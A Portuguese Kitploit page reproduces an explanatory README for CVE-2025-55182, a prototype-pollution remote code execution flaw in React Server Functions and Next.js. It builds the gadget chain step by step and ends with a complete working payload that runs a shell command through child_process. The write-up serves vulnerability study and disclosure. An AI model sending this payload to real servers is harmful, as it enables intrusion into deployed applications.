Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/msanft/cve-2025-55182
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubmsanft/cve-2025-55182

CVE-2025-55182

Explicação e PoC completo de RCE para CVE-2025-55182

Ver Repositório
1.4k198há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182

Esta vulnerabilidade permite RCE em React Server Functions, como as oferecidas pelo Next.js, por meio de referências inseguras a protótipos.

Eu não sou especialista em React ou Next.js, então leve todas as informações aqui com uma pitada de sal.

Background

O React oferece Server Functions1, que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência ou realizar requisições autenticadas para as quais o cliente não possui credenciais.

O React usa algo chamado React Flight Protocol2 para serializar os valores passados às Server Functions.

O cliente envia "chunks" ao servidor, por exemplo, via dados de formulário:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Como mostrado, eles podem ter referências entre si. O payload acima é desserializado no servidor da seguinte forma:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica da vulnerabilidade real.

Vulnerabilidade

Até este commit3, ao percorrer chunks na resolução de referências, como obter fruitName do chunk 2 no exemplo acima, o React não verificava se a chave solicitada estava realmente definida no objeto. Isso nos permitia obter o protótipo do objeto4.

Isso pode ser demonstrado com um payload como este:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Que é desserializado para o construtor de função5:

root@kitploit:~
[Function: Function]

Quando o chunk com ID 0 não é um array, mas um objeto, podemos definir a chave then como o construtor de função. O objeto é então retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Quando isso retorna um thenable, o await no chamador o invocará. É o que acontece com este payload:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Levando a este erro:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

O erro se parece com isso porque o V8 chama uma função sob await com as funções internas resolve e reject, que, quando passadas por toString, são serializadas para algo assim:

root@kitploit:~
function () { [native code] }

Exploração

Como podemos trivialmente obter o construtor Function, o caminho mais direto é encontrar um call gadget que invoque o construtor com um valor controlado pelo usuário (ou seja, o código da função como string) e depois chame a função retornada.

Existem vários lugares que podem chamar o construtor de função, por exemplo resolveServerReference, onde id é um objeto controlado, e lastIndexOf pode ser sobrescrita para retornar uma string controlada pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser sobrescrita para o construtor de função. No entanto, esse lugar não funciona porque a segunda invocação de .slice() fornece um número como primeiro argumento, que — pelo que sei — nunca pode ser tratado pelo construtor de função.

Aqui entra uma ideia brilhante de maple31426. Quando getChunk pega o chunk no ID 0 como referência raiz para começar a resolver a cadeia de referências, este mesmo chunk pode ser resolvido para um "chunk falso" criado.

Podemos referenciar o chunk 0 criado no chunk 1 usando a sintaxe $@, que retorna o chunk "cru", não o seu valor resolvido:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Combinando isso com a nossa sobrescrita de then acima, podemos criar algo assim:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Aqui, o chunk 0 sobrescreve o seu próprio .then() com o .then() de sua própria representação de chunk cru. Em termos simples, sobrescrevemos o nosso próprio .then() com Chunk.prototype.then, que existe, já que Chunks são thenables:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Com o payload acima, Chunk.prototype.then é eventualmente chamada com o chunk criado de ID 0.

Como mostrado acima, quando .status do nosso chunk falso é resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Entramos em initializeModelChunk. Aqui, .value é analisado como JSON e, em seguida, as referências são resolvidas no objeto retornado, usando o contexto "externo" dos nossos chunks com IDs 0 e 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Dentro disso, temos agora uma segunda passagem de avaliação com alguns valores adicionais aos quais temos acesso porque o contexto externo já foi resolvido.

Existe um call gadget no tratamento de dados blob com o prefixo $B no flight protocol:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Usando o campo especial _response, controlamos a propriedade response do chunk criado:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Com isso, podemos criar um objeto com propriedades falsas ._formData e ._prefix:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

O .reason precisa ser adicionado para evitar falha na invocação de toString em `initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Ao apontar ._formData para o construtor de função e ._prefix para o nosso código, obtemos um gadget de invocação para o construtor de função na desserialização de blob:

root@kitploit:~
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

Nossa função criada é então retornada por parseModelString como o método .then() do chunk criado, que também é aguardado, já que tudo isso ocorre em uma única cadeia de resolução de promise. Assim, ao retornar um thenable, nossa função criada é chamada. Isso constitui o call gadget necessário referenciado acima.

Juntando tudo isso com um payload real de RCE, obtemos algo assim:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

O bônus, que torna essa vulnerabilidade ainda pior, é que tudo isso acontece durante a desserialização, antes que a ação solicitada seja validada pela primeira vez em getActionModIdOrError. Assim, definir um cabeçalho como Next-Action: foo é suficiente para disparar a vulnerabilidade.

Footnotes

  1. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

Baixar ferramenta
↩